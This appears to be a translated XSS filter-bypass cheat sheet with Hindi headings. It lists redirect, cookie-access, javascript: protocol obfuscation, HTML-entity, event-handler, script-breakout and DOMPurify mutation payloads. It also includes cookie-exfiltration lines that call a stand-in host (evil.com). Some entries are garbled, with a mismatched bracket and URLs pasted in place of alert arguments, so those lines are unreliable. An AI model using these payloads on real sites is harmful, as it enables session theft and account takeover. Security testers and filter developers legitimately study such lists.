XSS-Bypass-Filters

रीडायरेक्शन

document.location=
document['location']=
window.location=
this["window"]["location"]=
document.location.href=
location.href=
location=
window.location.assign()
window['location']['href']=
document.location.replace()
window.open("link", "_blank");

लिंक

//google.com/?=a
//134744072:1234/?a= (decimal ip)

कुकीज़

document.cookie 
document['cookie']
with(document)alert(cookie)
doc\u0075ment.cookie
doc\u0075ment['cookie']
window["doc"+"ument"]["cookie"]

कॉनकैट

fetch("//evil.com/?c="+document.cookie)
fetch("//evil.com/?c=".concat(document.cookie))
fetch("//evil.com/?c=", document.cookie].join())
fetch(`//evil.com/?c=${document.cookie}`) 

Href

<!--javascript -->
javascript:alert(1)
JaVaScript:alert(1)
ja&Tab;vascript:alert(1)
java\tscript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert('XSS')

# tab (0x9), newline (0xa) and carriage return (0xd) allowed (inside or after the protocol) 

ja
vascript:alert(1) # New line 

jav	asc	ript	:alert(1) # Tab

# Special Characters before the protocol (Raw or encode)
# \x01-\x20 are allowed - Somes Example :
http://www.unicode-symbol.com/u/0017.html
http://www.unicode-symbol.com/u/0008.html

&#23;javascript:alert('Successful XSS') # ETB HTML
&#x8;javascript:alert(1) # Backspace HTML

# colon
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;alert(1)
javascript&#x3A;alert()

# javascript://
javascript://%0Aalert(1)
javascript://%0Dalert(1)

#  target="_blank"
- Scroll Click
- Shift + Click
- Ctrl + Click

# alert
javascript:alert&lpar;&rpar;
javascript:al&#x65;rt``
javascript:alert%60%60
javascript:x='%27-alert(1)-%27';
javascript:%61%6c%65%72%74%28%29

#JS unicode 
javascript:a\u006Cert``"
javascript:\u0061\u006C\u0065\u0072\u0074``

HTML एंटिटी

नामित एंटिटीज़

https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity(false,'Named%20entities')

' -> '
" -> "
` -> `
` -> `
( -> (
) -> )
{ -> {
} -> }
& -> &
< -> &lt;
> -> &gt;
\n -> &NewLine;
\t -> &Tab;
nbsp -> &nbsp;
\ -> &bsol;

हेक्स एंटिटीज़

[https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity(false,'Hex%20entities')

' -> '
" -> "
` -> `
( -> (
{ -> {
} -> }
& -> &
< -> &#x3c;
> -> &#x3e;
\n -> &#x0a;
\t -> &#x09;
nbsp -> &#xa0;
\ -> &#x5c; 

संख्यात्मक एंटिटीज़

https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity(false,'Numeric%20entities')

' -> '
" -> "
` -> `
( -> (
) -> )
{ -> {
} -> }
& -> &
< -> &#60;
> -> &#62;
\n -> &#10;
\t -> &#9;
nbsp -> &#160;
\ -> &#92;

संख्यात्मक और हेक्स में आप जितने चाहें उतने 0 जोड़ सकते हैं

( -> ( = (
( -> ( = (

ईमेल

test+(<script>alert(0)</script>)@example.com
test@example(<script>alert(0)</script>).com
"<script>alert(0)</script>"@example.com

आईफ्रेम

 #use href bypass
 # if youtube is whitelisted for example

 # base64 <script>alert(1)</script>

बिना क्लोज़िंग टैग के

<svg/onload=alert(1)>
<object/data=javascript:prompt(1)>
<input/autofocus/onfocus=prompt(1)>
<audio/src/onloadstart=alert(1)>
<svg><animate/onbegin=alert(1)>
<svg><animate/dur='1s'onend=alert(1)>
<svg><set/onbegin=alert(1)>
<svg><set/dur='1ms'onend=alert(1)>
<marquee width=1 loop=1 onfinish=alert(1)>
<details/open/ontoggle=confirm(1)>
<details open ontoggle=confirm(1)>
<details/ontoggle='alert(1)'/open>
<details ontoggle=alert(1) open>

बिना डॉट के

<script src=//0x8ac5c30a>

बिना पैरेंथेसिस के

alert`45`
document.location="javascript:alert%2845%29"
onerror=alert;throw 45

https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md

<svg/onload='alert&#40 23 &#41'> 
location=/javascript:alert%2823%29/.source;

अधिकतम 20 अक्षर:

https://jlajara.gitlab.io/XSS_20_characters

कुछ रैंडम पेलोड

'-alert(1)-'
"-alert(1)-"
);alert(1)//
';alert(1)//
";alert(1)//
">//
'>//
>"@input="this.alert`1`
>'@input='this.alert`1`
&quot onerror='alert(1)'
" onerror='alert(1)'

JS इंजेक्शन बाईपास में

<!-- <script/ के साथ

<script>
  var test = "injection <!-- <script/";
</script>

<script>alert(origin)</script>">
or
<input type="hidden" value="</script><script>alert(1)</script>">
or 
<a href="</script><script>alert(3)</script>" value="xxx">TEST<a>

which can be in between quotes... 

के साथ

<script>
  var test = "</script><svg/onload=alert(45)>"
</script>

</script स्पेस, टैब, स्ट्रिंग्स, लाइन रिटर्न... > के साथ

<script>
  var test = "</script ><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script  ><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script random><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script
random><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script 
random><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script <svg/onload=alert(45)>"
</script>

डबल कोट और प्लस के साथ (सिंगल कोट्स के लिए भी यही)

<script>
  var test = ""+alert(45)+""
  // user input: "+alert(45)+"
</script>

बैकस्लैश के साथ

<script>
  var test = "\", test1="+alert(45)//input2"
  // Original: var test = "input1", test1="input2"
  // user input1: \
  // user input2: +alert(45)//
</script>

302 XSS

ws://google.com"><svg/onload=alert(2)>
wss://google.com"><svg/onload=alert(2)>
resource://google.com"><svg/onload=alert(2)>

https://www.gremwell.com/firefox-xss-302
https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/

टेस्ट फ़ंक्शन

["YWxlcnQoJ1hTUycp"].map(atob).map(eval)
console.trace()
console.error()
console.trace``
console.error``
confirm?.(1)
top.confirm?.(1)
alert?.(1)
(a=>a(1))(alert);
setTimeout(alert, 0, 1)
[1].forEach(alert);
alert.bind()(1)
a=alert;a`1`;
alert()
alert/**/()
alert (10)
alert\n(1)
var{a:onerror}={a:alert};throw%20document.cookie
alert(1)
window['alert'](https://github.com/edr4/xss-bypass-filters/blob/main/0)
parent['alert'](https://github.com/edr4/xss-bypass-filters/blob/main/1)
self['alert'](https://github.com/edr4/xss-bypass-filters/blob/main/2)
top['alert'](https://github.com/edr4/xss-bypass-filters/blob/main/3)
this['alert'](https://github.com/edr4/xss-bypass-filters/blob/main/4)
frames['alert'](https://github.com/edr4/xss-bypass-filters/blob/main/5)
content['alert'](https://github.com/edr4/xss-bypass-filters/blob/main/6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
eval('ale'+'rt(0)');
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();
top["al"+"ert"](https://github.com/edr4/xss-bypass-filters/blob/main/5);
top[8680439..toString(30)](https://github.com/edr4/xss-bypass-filters/blob/main/7);
top[/al/.source+/ert/.source](https://github.com/edr4/xss-bypass-filters/blob/main/8);
top['al\x65rt'](https://github.com/edr4/xss-bypass-filters/blob/main/9);
open('java'+'script:ale'+'rt(11)');
setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
[666]["\155\141\160"]["\143\157\156\163\164\162\165\143\164\157\162"](https://github.com/edr4/xss-bypass-filters/blob/main/%22%5C141%5C154%5C145%5C162%5C164%28666)")(666)

DOMPurify

<2.1

<math><mtext><table><mglyph><style><!--</style>

<math><mtext><table><mglyph><style><![CDATA[</style>

<math><mtext><table><mglyph><style><!--</style></mglyph>">

<2.0.1

<svg></p><style><a id="</style>">